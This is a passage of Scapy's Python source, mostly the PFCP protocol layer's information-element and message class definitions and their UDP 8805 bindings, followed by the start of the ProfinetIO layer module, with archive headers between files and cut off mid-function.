] class IE_HeaderEnrichment(IE_Base): name = "IE Header Enrichment" ie_type = 98 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 3), BitEnumField("header_type", "HTTP", 5, HeaderType), FieldLenField("name_length", None, fmt="B", length_of="name"), StrLenField("name", "", length_from=lambda x: x.name_length), FieldLenField("value_length", None, fmt="B", length_of="value"), StrLenField("value", "", length_from=lambda x: x.value_length), ExtraDataField("extra_data"), ] class IE_MeasurementInformation(IE_Base): name = "IE Measurement Information" ie_type = 100 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 3), BitField("MNOP", 0, 1), BitField("ISTM", 0, 1), BitField("RADI", 0, 1), BitField("INAM", 0, 1), BitField("MBQE", 0, 1), ExtraDataField("extra_data"), ] class IE_NodeReportType(IE_Base): name = "IE Node Report Type" ie_type = 101 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 7), BitField("UPFR", 0, 1), ExtraDataField("extra_data"), ] class IE_RemoteGTP_U_Peer(IE_Base): name = "IE Remote GTP-U Peer" ie_type = 103 fields_desc = IE_Base.fields_desc + [ XBitField("spare_1", 0, 4), BitField("NI", 0, 1), BitField("DI", 0, 1), BitField("V4", 0, 1), BitField("V6", 0, 1), ConditionalField(IPField("ipv4", 0), lambda x: x.V4 == 1), ConditionalField(IP6Field("ipv6", 0), lambda x: x.V6 == 1), ConditionalField(ByteField("dest_interface_length", 1), lambda x: x.DI == 1), ConditionalField(XBitField("spare_2", 0, 4), lambda x: x.DI == 1), ConditionalField( BitEnumField("dest_interface", "Access", 4, DestinationInterface), lambda x: x.DI == 1), ConditionalField( FieldLenField("network_instance_length", 1, length_of="network_instance"), lambda x: x.NI == 1), ConditionalField( APNStrLenField("network_instance", "", length_from=lambda x: x.network_instance_length), lambda x: x.NI == 1), ExtraDataField("extra_data"), ] class IE_UR_SEQN(IE_Base): name = "IE UR-SEQN" ie_type = 104 fields_desc = IE_Base.fields_desc + [ IntField("number", 0), ] class IE_ActivatePredefinedRules(IE_Base): name = "IE Activate Predefined Rules" ie_type = 106 fields_desc = IE_Base.fields_desc + [ StrLenField("name", "", length_from=lambda x: x.length) ] class IE_DeactivatePredefinedRules(IE_Base): name = "IE Deactivate Predefined Rules" ie_type = 107 fields_desc = IE_Base.fields_desc + [ StrLenField("name", "", length_from=lambda x: x.length) ] class IE_FAR_Id(IE_Base): name = "IE FAR ID" ie_type = 108 fields_desc = IE_Base.fields_desc + [ IntField("id", 0), ExtraDataField("extra_data"), ] class IE_QER_Id(IE_Base): name = "IE QER ID" ie_type = 109 fields_desc = IE_Base.fields_desc + [ IntField("id", 0), ExtraDataField("extra_data"), ] class IE_OCIFlags(IE_Base): name = "IE OCI Flags" ie_type = 110 fields_desc = IE_Base.fields_desc + [ XBitField("spare", None, 7), BitField("AOCI", 0, 1), ExtraDataField("extra_data"), ] class IE_PFCPAssociationReleaseRequest(IE_Base): name = "IE PFCP Association Release Request" ie_type = 111 fields_desc = IE_Base.fields_desc + [ XBitField("spare", None, 7), BitField("SARR", 0, 1), ExtraDataField("extra_data"), ] class IE_GracefulReleasePeriod(IE_Base): name = "IE Graceful Release Period" ie_type = 112 fields_desc = IE_Base.fields_desc + [ BitEnumField("release_timer_unit", "2 seconds", 3, TimerUnit), BitField("release_timer_value", 0, 5), ExtraDataField("extra_data"), ] class IE_PDNType(IE_Base): name = "IE PDN Type" ie_type = 113 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 5), BitEnumField("pdn_type", "IPv4", 3, PDNType), ExtraDataField("extra_data"), ] class IE_FailedRuleId(IE_Base): name = "IE Failed Rule ID" ie_type = 114 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 3), BitEnumField("type", "PDR", 5, RuleIDType), ConditionalField(ShortField("pdr_id", 0), lambda x: x.type == 0), ConditionalField(IntField("far_id", 0), lambda x: x.type == 1 or x.type > 4), ConditionalField(IntField("qer_id", 0), lambda x: x.type == 2), ConditionalField(IntField("urr_id", 0), lambda x: x.type == 3), ConditionalField(ByteField("bar_id", 0), lambda x: x.type == 4), ExtraDataField("extra_data"), ] class IE_TimeQuotaMechanism(IE_Base): name = "IE Time Quota Mechanism" ie_type = 115 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 6), BitEnumField("base_time_interval_type", "CTP", 2, BaseTimeInterval), IntField("interval", 0), ExtraDataField("extra_data"), ] class IE_UserPlaneIPResourceInformation(IE_Base): name = "IE User Plane IP Resource Information" ie_type = 116 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 1), BitField("ASSOSI", 0, 1), BitField("ASSONI", 0, 1), BitField("TEIDRI", 0, 3), BitField("V6", 0, 1), BitField("V4", 0, 1), ConditionalField(XByteField("teid_range", 0), lambda x: x.TEIDRI != 0), ConditionalField(IPField("ipv4", 0), lambda x: x.V4 == 1), ConditionalField(IP6Field("ipv6", 0), lambda x: x.V6 == 1), ConditionalField( APNStrLenField("network_instance", "", length_from=lambda x: x.length - 1 - (1 if x.TEIDRI != 0 else 0) - (x.V4 * 4) - (x.V6 * 16) - x.ASSOSI), lambda x: x.ASSONI == 1), ConditionalField(XBitField("spare", None, 4), lambda x: x.ASSOSI == 1), ConditionalField( BitEnumField("interface", "Access", 4, SourceInterface), lambda x: x.ASSOSI == 1), ExtraDataField("extra_data"), ] class IE_UserPlaneInactivityTimer(IE_Base): name = "IE User Plane Inactivity Timer" ie_type = 117 fields_desc = IE_Base.fields_desc + [ IntField("timer", 0), ExtraDataField("extra_data"), ] class IE_Multiplier(IE_Base): name = "IE Multiplier" ie_type = 119 fields_desc = IE_Base.fields_desc + [ SignedLongField("digits", 0), SignedIntField("exponent", 0), ] class IE_AggregatedURR_Id(IE_Base): name = "IE Aggregated URR ID" ie_type = 120 fields_desc = IE_Base.fields_desc + [ IntField("id", 0), ] class IE_SubsequentVolumeQuota(IE_Base): name = "IE Subsequent Volume Quota" ie_type = 121 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 5), BitField("DLVOL", 0, 1), BitField("ULVOL", 0, 1), BitField("TOVOL", 0, 1), ConditionalField(XLongField("total", 0), lambda x: x.TOVOL == 1), ConditionalField(XLongField("uplink", 0), lambda x: x.ULVOL == 1), ConditionalField(XLongField("downlink", 0), lambda x: x.DLVOL == 1), ExtraDataField("extra_data"), ] class IE_SubsequentTimeQuota(IE_Base): name = "IE Subsequent Time Quota" ie_type = 122 fields_desc = IE_Base.fields_desc + [ IntField("quota", 0), ExtraDataField("extra_data"), ] class IE_RQI(IE_Base): name = "IE RQI" ie_type = 123 fields_desc = IE_Base.fields_desc + [ XBitField("spare", None, 7), BitField("RQI", 0, 1), ExtraDataField("extra_data"), ] class IE_QFI(IE_Base): name = "IE QFI" ie_type = 124 fields_desc = IE_Base.fields_desc + [ XBitField("spare", None, 2), BitField("QFI", 0, 6), ExtraDataField("extra_data"), ] class IE_QueryURRReference(IE_Base): name = "IE Query URR Reference" ie_type = 125 fields_desc = IE_Base.fields_desc + [ IntField("reference", 0), ExtraDataField("extra_data"), ] class IE_AdditionalUsageReportsInformation(IE_Base): name = "IE Additional Usage Reports Information" ie_type = 126 fields_desc = IE_Base.fields_desc + [ BitField("AURI", 0, 1), BitField("reports", 0, 15), ExtraDataField("extra_data"), ] class IE_TrafficEndpointId(IE_Base): name = "IE Traffic Endpoint ID" ie_type = 131 fields_desc = IE_Base.fields_desc + [ ByteField("id", 0), ExtraDataField("extra_data"), ] class IE_MACAddress(IE_Base): name = "IE MAC Address" ie_type = 133 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 4), BitField("UDES", 0, 1), BitField("USOU", 0, 1), BitField("DEST", 0, 1), BitField("SOUR", 0, 1), ConditionalField(MACField("source_mac", 0), lambda x: x.SOUR == 1), ConditionalField(MACField("destination_mac", 0), lambda x: x.DEST == 1), ConditionalField(MACField("upper_source_mac", 0), lambda x: x.USOU == 1), ConditionalField(MACField("upper_destination_mac", 0), lambda x: x.UDES == 1), ExtraDataField("extra_data"), ] class IE_C_TAG(IE_Base): name = "IE C-TAG" ie_type = 134 fields_desc = IE_Base.fields_desc + [ XBitField("spare_1", 0, 5), BitField("VID", 0, 1), BitField("DEI", 0, 1), BitField("PCP", 0, 1), # TODO: fix cvid_value ConditionalField( BitField("cvid_value_hi", 0, 4), lambda x: x.VID == 1), ConditionalField(BitField("spare_2", 0, 4), lambda x: x.VID == 0), ConditionalField(BitField("dei_flag", 0, 1), lambda x: x.DEI == 1), ConditionalField(BitField("spare_3", 0, 1), lambda x: x.DEI == 0), ConditionalField(BitField("pcp_value", 0, 3), lambda x: x.PCP == 1), ConditionalField(BitField("spare_4", 0, 3), lambda x: x.PCP == 0), ConditionalField(ByteField("cvid_value_low", 0), lambda x: x.VID == 1), ConditionalField(ByteField("spare_5", 0), lambda x: x.VID == 0), ExtraDataField("extra_data"), ] class IE_S_TAG(IE_Base): name = "IE S-TAG" ie_type = 135 fields_desc = IE_Base.fields_desc + [ XBitField("spare_1", 0, 5), BitField("VID", 0, 1), BitField("DEI", 0, 1), BitField("PCP", 0, 1), # TODO: fix svid_value ConditionalField(BitField("svid_value_hi", 0, 4), lambda x: x.VID == 1), ConditionalField(BitField("spare_2", 0, 4), lambda x: x.VID == 0), ConditionalField(BitField("dei_flag", 0, 1), lambda x: x.DEI == 1), ConditionalField(BitField("spare_3", 0, 1), lambda x: x.DEI == 0), ConditionalField(BitField("pcp_value", 0, 3), lambda x: x.PCP == 1), ConditionalField(BitField("spare_4", 0, 3), lambda x: x.PCP == 0), ConditionalField(ByteField("svid_value_low", 0), lambda x: x.VID == 1), ConditionalField(ByteField("spare_5", 0), lambda x: x.VID == 0), ExtraDataField("extra_data"), ] class IE_Ethertype(IE_Base): name = "IE Ethertype" ie_type = 136 fields_desc = IE_Base.fields_desc + [ ShortField("type", 0), ExtraDataField("extra_data"), ] class IE_Proxying(IE_Base): name = "IE Proxying" ie_type = 137 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 6), BitField("INS", 0, 1), BitField("ARP", 0, 1), ExtraDataField("extra_data"), ] class IE_EthernetFilterId(IE_Base): name = "IE Ethernet Filter ID" ie_type = 138 fields_desc = IE_Base.fields_desc + [ IntField("id", 0), ExtraDataField("extra_data"), ] class IE_EthernetFilterProperties(IE_Base): name = "IE Ethernet Filter Properties" ie_type = 139 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 7), BitField("BIDE", 0, 1), ExtraDataField("extra_data"), ] class IE_SuggestedBufferingPacketsCount(IE_Base): name = "IE Suggested Buffering Packets Count" ie_type = 140 fields_desc = IE_Base.fields_desc + [ ByteField("count", 0), ExtraDataField("extra_data"), ] class IE_UserId(IE_Base): name = "IE User ID" ie_type = 141 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 4), BitField("NAIF", 0, 1), BitField("MSISDNF", 0, 1), BitField("IMEIF", 0, 1), BitField("IMSIF", 0, 1), ConditionalField( FieldLenField("imsi_length", None, length_of="imsi", fmt="B"), lambda x: x.IMSIF == 1), ConditionalField( StrLenField("imsi", "", length_from=lambda x: x.imsi_length), lambda x: x.IMSIF == 1), ConditionalField( FieldLenField("imei_length", None, length_of="imei", fmt="B"), lambda x: x.IMEIF == 1), ConditionalField( StrLenField("imei", "", length_from=lambda x: x.imei_length), lambda x: x.IMEIF == 1), ConditionalField( FieldLenField("msisdn_length", None, length_of="msisdn", fmt="B"), lambda x: x.MSISDNF == 1), ConditionalField( StrLenField("msisdn", "", length_from=lambda x: x.msisdn_length), lambda x: x.MSISDNF == 1), ConditionalField( FieldLenField("nai_length", None, length_of="nai", fmt="B"), lambda x: x.NAIF == 1), ConditionalField( StrLenField("nai", "", length_from=lambda x: x.nai_length), lambda x: x.NAIF == 1), ExtraDataField("extra_data"), ] class IE_EthernetPDUSessionInformation(IE_Base): name = "IE Ethernet PDU Session Information" ie_type = 142 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 7), BitField("ETHI", 0, 1), ExtraDataField("extra_data"), ] class IE_MACAddressesDetected(IE_Base): name = "IE MAC Addresses Detected" ie_type = 144 fields_desc = IE_Base.fields_desc + [ FieldLenField("num_macs", None, count_of="macs", fmt="B"), FieldListField("macs", None, MACField("mac", 0), count_from=lambda x: x.num_macs), ExtraDataField("extra_data"), ] class IE_MACAddressesRemoved(IE_Base): name = "IE MAC Addresses Removed" ie_type = 145 fields_desc = IE_Base.fields_desc + [ FieldLenField("num_macs", None, count_of="macs", fmt="B"), FieldListField("macs", None, MACField("mac", 0), count_from=lambda x: x.num_macs), ExtraDataField("extra_data"), ] class IE_EthernetInactivityTimer(IE_Base): name = "IE Ethernet Inactivity Timer" ie_type = 146 fields_desc = IE_Base.fields_desc + [ IntField("timer", 0), ExtraDataField("extra_data"), ] class IE_EventQuota(IE_Base): name = "IE Event Quota" ie_type = 148 fields_desc = IE_Base.fields_desc + [ IntField("event_quota", 0), ExtraDataField("extra_data"), ] class IE_EventThreshold(IE_Base): name = "IE Event Threshold" ie_type = 149 fields_desc = IE_Base.fields_desc + [ IntField("event_threshold", 0), ExtraDataField("extra_data"), ] class IE_SubsequentEventQuota(IE_Base): name = "IE Subsequent Event Quota" ie_type = 150 fields_desc = IE_Base.fields_desc + [ IntField("subsequent_event_quota", 0), ExtraDataField("extra_data"), ] class IE_SubsequentEventThreshold(IE_Base): name = "IE Subsequent Event Threshold" ie_type = 151 fields_desc = IE_Base.fields_desc + [ IntField("subsequent_event_threshold", 0), ExtraDataField("extra_data"), ] class IE_TraceInformation(IE_Base): # TODO: more detailed decoding # TODO: fix IP address handling name = "IE Trace Information" ie_type = 152 fields_desc = IE_Base.fields_desc + [ BitField("mcc_digit_2", 0, 4), BitField("mcc_digit_1", 0, 4), BitField("mnc_digit_3", 0, 4), BitField("mcc_digit_3", 0, 4), BitField("mnc_digit_2", 0, 4), BitField("mnc_digit_1", 0, 4), ThreeBytesField("trace_id", 0), # FIXME FieldLenField("triggering_events_length", None, length_of="triggering_events", fmt="B"), StrLenField("triggering_events", "", length_from=lambda x: x.triggering_events_length), ByteField("session_trace_depth", 0), FieldLenField("list_of_interfaces_length", None, length_of="list_of_interfaces", fmt="B"), StrLenField("list_of_interfaces", "", length_from=lambda x: x.list_of_interfaces_length), FieldLenField("ip_address_length", None, length_of="ip_address", fmt="B"), StrLenField("ip_address", "", length_from=lambda x: x.ip_address_length), ExtraDataField("extra_data"), ] class IE_FramedRoute(IE_Base): name = "IE Framed-Route" ie_type = 153 fields_desc = IE_Base.fields_desc + [ StrLenField("framed_route", "", length_from=lambda x: x.length) ] class IE_FramedRouting(IE_Base): name = "IE Framed-Routing" ie_type = 154 fields_desc = IE_Base.fields_desc + [ StrLenField("framed_routing", "", length_from=lambda x: x.length) ] class IE_FramedIPv6Route(IE_Base): name = "IE Framed-IPv6-Route" ie_type = 155 fields_desc = IE_Base.fields_desc + [ StrLenField("framed_ipv6_route", "", length_from=lambda x: x.length) ] class IE_EventTimeStamp(IE_Base): name = "IE Event Time Stamp" ie_type = 156 fields_desc = IE_Base.fields_desc + [ IntField("timestamp", 0), ExtraDataField("extra_data"), ] class IE_AveragingWindow(IE_Base): name = "IE Averaging Window" ie_type = 157 fields_desc = IE_Base.fields_desc + [ IntField("averaging_window", 0), ExtraDataField("extra_data"), ] class IE_PagingPolicyIndicator(IE_Base): name = "IE Paging Policy Indicator" ie_type = 158 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 5), BitField("ppi", 0, 3), ExtraDataField("extra_data"), ] class IE_APN_DNN(IE_Base): name = "IE APN/DNN" ie_type = 159 fields_desc = IE_Base.fields_desc + [ APNStrLenField("apn_dnn", "", length_from=lambda x: x.length) ] class IE_3GPP_InterfaceType(IE_Base): name = "IE 3GPP Interface Type" ie_type = 160 fields_desc = IE_Base.fields_desc + [ XBitField("spare_1", 0, 2), BitEnumField("interface_type", "S1-U", 6, InterfaceType), ExtraDataField("extra_data"), ] class IE_EnterpriseSpecific(IE_Base): name = "Enterpise Specific" ie_type = None fields_desc = IE_Base.fields_desc + [ ShortEnumField("enterprise_id", None, IANA_ENTERPRISE_NUMBERS), StrLenField("data", "", length_from=lambda x: x.length - 2), ] class IE_NotImplemented(IE_Base): name = "IE not implemented" ie_type = 0 fields_desc = IE_Base.fields_desc + [ StrLenField("data", "", length_from=lambda x: x.length) ] ietypecls = { 1: IE_CreatePDR, 2: IE_PDI, 3: IE_CreateFAR, 4: IE_ForwardingParameters, 5: IE_DuplicatingParameters, 6: IE_CreateURR, 7: IE_CreateQER, 8: IE_CreatedPDR, 9: IE_UpdatePDR, 10: IE_UpdateFAR, 11: IE_UpdateForwardingParameters, 12: IE_UpdateBAR_SRR, 13: IE_UpdateURR, 14: IE_UpdateQER, 15: IE_RemovePDR, 16: IE_RemoveFAR, 17: IE_RemoveURR, 18: IE_RemoveQER, 19: IE_Cause, 20: IE_SourceInterface, 21: IE_FTEID, 22: IE_NetworkInstance, 23: IE_SDF_Filter, 24: IE_ApplicationId, 25: IE_GateStatus, 26: IE_MBR, 27: IE_GBR, 28: IE_QERCorrelationId, 29: IE_Precedence, 30: IE_TransportLevelMarking, 31: IE_VolumeThreshold, 32: IE_TimeThreshold, 33: IE_MonitoringTime, 34: IE_SubsequentVolumeThreshold, 35: IE_SubsequentTimeThreshold, 36: IE_InactivityDetectionTime, 37: IE_ReportingTriggers, 38: IE_RedirectInformation, 39: IE_ReportType, 40: IE_OffendingIE, 41: IE_ForwardingPolicy, 42: IE_DestinationInterface, 43: IE_UPFunctionFeatures, 44: IE_ApplyAction, 45: IE_DownlinkDataServiceInformation, 46: IE_DownlinkDataNotificationDelay, 47: IE_DLBufferingDuration, 48: IE_DLBufferingSuggestedPacketCount, 49: IE_PFCPSMReqFlags, 50: IE_PFCPSRRspFlags, 51: IE_LoadControlInformation, 52: IE_SequenceNumber, 53: IE_Metric, 54: IE_OverloadControlInformation, 55: IE_Timer, 56: IE_PDR_Id, 57: IE_FSEID, 58: IE_ApplicationID_PFDs, 59: IE_PFDContext, 60: IE_NodeId, 61: IE_PFDContents, 62: IE_MeasurementMethod, 63: IE_UsageReportTrigger, 64: IE_MeasurementPeriod, 65: IE_FqCSID, 66: IE_VolumeMeasurement, 67: IE_DurationMeasurement, 68: IE_ApplicationDetectionInformation, 69: IE_TimeOfFirstPacket, 70: IE_TimeOfLastPacket, 71: IE_QuotaHoldingTime, 72: IE_DroppedDLTrafficThreshold, 73: IE_VolumeQuota, 74: IE_TimeQuota, 75: IE_StartTime, 76: IE_EndTime, 77: IE_QueryURR, 78: IE_UsageReport_SMR, 79: IE_UsageReport_SDR, 80: IE_UsageReport_SRR, 81: IE_URR_Id, 82: IE_LinkedURR_Id, 83: IE_DownlinkDataReport, 84: IE_OuterHeaderCreation, 85: IE_Create_BAR, 86: IE_Update_BAR_SMR, 87: IE_Remove_BAR, 88: IE_BAR_Id, 89: IE_CPFunctionFeatures, 90: IE_UsageInformation, 91: IE_ApplicationInstanceId, 92: IE_FlowInformation, 93: IE_UE_IP_Address, 94: IE_PacketRate, 95: IE_OuterHeaderRemoval, 96: IE_RecoveryTimeStamp, 97: IE_DLFlowLevelMarking, 98: IE_HeaderEnrichment, 99: IE_ErrorIndicationReport, 100: IE_MeasurementInformation, 101: IE_NodeReportType, 102: IE_UserPlanePathFailureReport, 103: IE_RemoteGTP_U_Peer, 104: IE_UR_SEQN, 105: IE_UpdateDuplicatingParameters, 106: IE_ActivatePredefinedRules, 107: IE_DeactivatePredefinedRules, 108: IE_FAR_Id, 109: IE_QER_Id, 110: IE_OCIFlags, 111: IE_PFCPAssociationReleaseRequest, 112: IE_GracefulReleasePeriod, 113: IE_PDNType, 114: IE_FailedRuleId, 115: IE_TimeQuotaMechanism, 116: IE_UserPlaneIPResourceInformation, 117: IE_UserPlaneInactivityTimer, 118: IE_AggregatedURRs, 119: IE_Multiplier, 120: IE_AggregatedURR_Id, 121: IE_SubsequentVolumeQuota, 122: IE_SubsequentTimeQuota, 123: IE_RQI, 124: IE_QFI, 125: IE_QueryURRReference, 126: IE_AdditionalUsageReportsInformation, 127: IE_CreateTrafficEndpoint, 128: IE_CreatedTrafficEndpoint, 129: IE_UpdateTrafficEndpoint, 130: IE_RemoveTrafficEndpoint, 131: IE_TrafficEndpointId, 132: IE_EthernetPacketFilter, 133: IE_MACAddress, 134: IE_C_TAG, 135: IE_S_TAG, 136: IE_Ethertype, 137: IE_Proxying, 138: IE_EthernetFilterId, 139: IE_EthernetFilterProperties, 140: IE_SuggestedBufferingPacketsCount, 141: IE_UserId, 142: IE_EthernetPDUSessionInformation, 143: IE_EthernetTrafficInformation, 144: IE_MACAddressesDetected, 145: IE_MACAddressesRemoved, 146: IE_EthernetInactivityTimer, 147: IE_AdditionalMonitoringTime, 148: IE_EventQuota, 149: IE_EventThreshold, 150: IE_SubsequentEventQuota, 151: IE_SubsequentEventThreshold, 152: IE_TraceInformation, 153: IE_FramedRoute, 154: IE_FramedRouting, 155: IE_FramedIPv6Route, 156: IE_EventTimeStamp, 157: IE_AveragingWindow, 158: IE_PagingPolicyIndicator, 159: IE_APN_DNN, 160: IE_3GPP_InterfaceType, } # # PFCP Messages # 3GPP TS 29.244 V15.6.0 (2019-07) # # class PFCPMessage(Packet): # fields_desc = [PacketListField("IE_list", None, IE_Dispatcher)] class PFCPHeartbeatRequest(Packet): name = "PFCP Heartbeat Request" fields_desc = [ PacketListField("IE_list", [IE_RecoveryTimeStamp()], IE_Dispatcher) ] class PFCPHeartbeatResponse(Packet): name = "PFCP Heartbeat Response" fields_desc = [ PacketListField("IE_list", [IE_RecoveryTimeStamp()], IE_Dispatcher) ] def answers(self, other): return isinstance(other, PFCPHeartbeatRequest) class PFCPPFDManagementRequest(Packet): name = "PFCP PFD Management Request" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class PFCPPFDManagementResponse(Packet): name = "PFCP PFD Management Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, PFCPPFDManagementRequest) class PFCPAssociationSetupRequest(Packet): name = "PFCP Association Setup Request" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class PFCPAssociationSetupResponse(Packet): name = "PFCP Association Setup Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, PFCPAssociationSetupRequest) class PFCPAssociationUpdateRequest(Packet): name = "PFCP Association Update Request" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class PFCPAssociationUpdateResponse(Packet): name = "PFCP Association Update Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, PFCPAssociationUpdateRequest) class PFCPAssociationReleaseRequest(Packet): name = "PFCP Association Release Request" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class PFCPAssociationReleaseResponse(Packet): name = "PFCP Association Release Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, PFCPAssociationReleaseRequest) class PFCPVersionNotSupportedResponse(Packet): name = "PFCP Version Not Supported Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] # TODO: answers() class PFCPNodeReportRequest(Packet): name = "PFCP Node Report Request" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class PFCPNodeReportResponse(Packet): name = "PFCP Node Report Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, PFCPNodeReportRequest) class PFCPSessionSetDeletionRequest(Packet): name = "PFCP Session Set Deletion Request" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class PFCPSessionSetDeletionResponse(Packet): name = "PFCP Session Set Deletion Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, PFCPSessionSetDeletionRequest) class PFCPSessionEstablishmentRequest(Packet): name = "PFCP Session Establishment Request" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class PFCPSessionEstablishmentResponse(Packet): name = "PFCP Session Establishment Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, PFCPSessionEstablishmentRequest) class PFCPSessionModificationRequest(Packet): name = "PFCP Session Modification Request" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class PFCPSessionModificationResponse(Packet): name = "PFCP Session Modification Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, PFCPSessionModificationRequest) class PFCPSessionDeletionRequest(Packet): name = "PFCP Session Deletion Request" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class PFCPSessionDeletionResponse(Packet): name = "PFCP Session Deletion Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, PFCPSessionDeletionRequest) class PFCPSessionReportRequest(Packet): name = "PFCP Session Report Request" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class PFCPSessionReportResponse(Packet): name = "PFCP Session Report Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, PFCPSessionReportRequest) bind_bottom_up(UDP, PFCP, dport=8805) bind_bottom_up(UDP, PFCP, sport=8805) bind_layers(UDP, PFCP, dport=8805, sport=8805) bind_layers(PFCP, PFCPHeartbeatRequest, message_type=1) bind_layers(PFCP, PFCPHeartbeatResponse, message_type=2) bind_layers(PFCP, PFCPPFDManagementRequest, message_type=3) bind_layers(PFCP, PFCPPFDManagementResponse, message_type=4) bind_layers(PFCP, PFCPAssociationSetupRequest, message_type=5) bind_layers(PFCP, PFCPAssociationSetupResponse, message_type=6) bind_layers(PFCP, PFCPAssociationUpdateRequest, message_type=7) bind_layers(PFCP, PFCPAssociationUpdateResponse, message_type=8) bind_layers(PFCP, PFCPAssociationReleaseRequest, message_type=9) bind_layers(PFCP, PFCPAssociationReleaseResponse, message_type=10) bind_layers(PFCP, PFCPVersionNotSupportedResponse, message_type=11) bind_layers(PFCP, PFCPNodeReportRequest, message_type=12) bind_layers(PFCP, PFCPNodeReportResponse, message_type=13) bind_layers(PFCP, PFCPSessionSetDeletionRequest, message_type=14) bind_layers(PFCP, PFCPSessionSetDeletionResponse, message_type=15) bind_layers(PFCP, PFCPSessionEstablishmentRequest, message_type=50) bind_layers(PFCP, PFCPSessionEstablishmentResponse, message_type=51) bind_layers(PFCP, PFCPSessionModificationRequest, message_type=52) bind_layers(PFCP, PFCPSessionModificationResponse, message_type=53) bind_layers(PFCP, PFCPSessionDeletionRequest, message_type=54) bind_layers(PFCP, PFCPSessionDeletionResponse, message_type=55) bind_layers(PFCP, PFCPSessionReportRequest, message_type=56) bind_layers(PFCP, PFCPSessionReportResponse, message_type=57) # FIXME: the following fails with pfcplib-generated pcaps: # bind_layers(PFCP, PFCPSessionEstablishmentRequest, message_type=50, S=1) # bind_layers(PFCP, PFCPSessionEstablishmentResponse, message_type=51, S=1) # bind_layers(PFCP, PFCPSessionModificationRequest, message_type=52, S=1) # bind_layers(PFCP, PFCPSessionModificationResponse, message_type=53, S=1) # bind_layers(PFCP, PFCPSessionDeletionRequest, message_type=54, S=1) # bind_layers(PFCP, PFCPSessionDeletionResponse, message_type=55, S=1) # bind_layers(PFCP, PFCPSessionReportRequest, message_type=56, S=1) # bind_layers(PFCP, PFCPSessionReportResponse, message_type=57, S=1) # TODO: limit possible child IEs based on IE type IE_UE_IP_Address(SD=0, V4=0, V6=0, spare=0) scapy-2.4.4/scapy/contrib/pnio.py000066400000000000000000000276331372370053500167560ustar00rootroot00000000000000# coding: utf8 # This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # Copyright (C) 2016 Gauthier Sebaux # scapy.contrib.description = ProfinetIO RTC (+Profisafe) layer # scapy.contrib.status = loads import copy from scapy.compat import raw from scapy.error import Scapy_Exception from scapy.config import conf from scapy.packet import Packet, bind_layers from scapy.layers.l2 import Ether from scapy.layers.inet import UDP from scapy.fields import ( XShortEnumField, BitEnumField, XBitField, BitField, StrField, PacketListField, StrFixedLenField, ShortField, FlagsField, ByteField, XIntField, X3BytesField ) from scapy.modules import six PNIO_FRAME_IDS = { 0x0020: "PTCP-RTSyncPDU-followup", 0x0080: "PTCP-RTSyncPDU", 0xFC01: "Alarm High", 0xFE01: "Alarm Low", 0xFEFC: "DCP-Hello-Req", 0xFEFD: "DCP-Get-Set", 0xFEFE: "DCP-Identify-ReqPDU", 0xFEFF: "DCP-Identify-ResPDU", 0xFF00: "PTCP-AnnouncePDU", 0xFF20: "PTCP-FollowUpPDU", 0xFF40: "PTCP-DelayReqPDU", 0xFF41: "PTCP-DelayResPDU-followup", 0xFF42: "PTCP-DelayFuResPDU", 0xFF43: "PTCP-DelayResPDU", } def i2s_frameid(x): """ Get representation name of a pnio frame ID :param x: a key of the PNIO_FRAME_IDS dictionary :returns: str """ try: return PNIO_FRAME_IDS[x] except KeyError: pass if 0x0100 <= x < 0x1000: return "RT_CLASS_3 (%4x)" % x if 0x8000 <= x < 0xC000: return "RT_CLASS_1 (%4x)" % x if 0xC000 <= x < 0xFC00: return "RT_CLASS_UDP (%4x)" % x if 0xFF80 <= x < 0xFF90: return "FragmentationFrameID (%4x)" % x return x def s2i_frameid(x): """ Get pnio frame ID from a representation name Performs a reverse look-up in PNIO_FRAME_IDS dictionary :param x: a value of PNIO_FRAME_IDS dict :returns: integer """ try: return { "RT_CLASS_3": 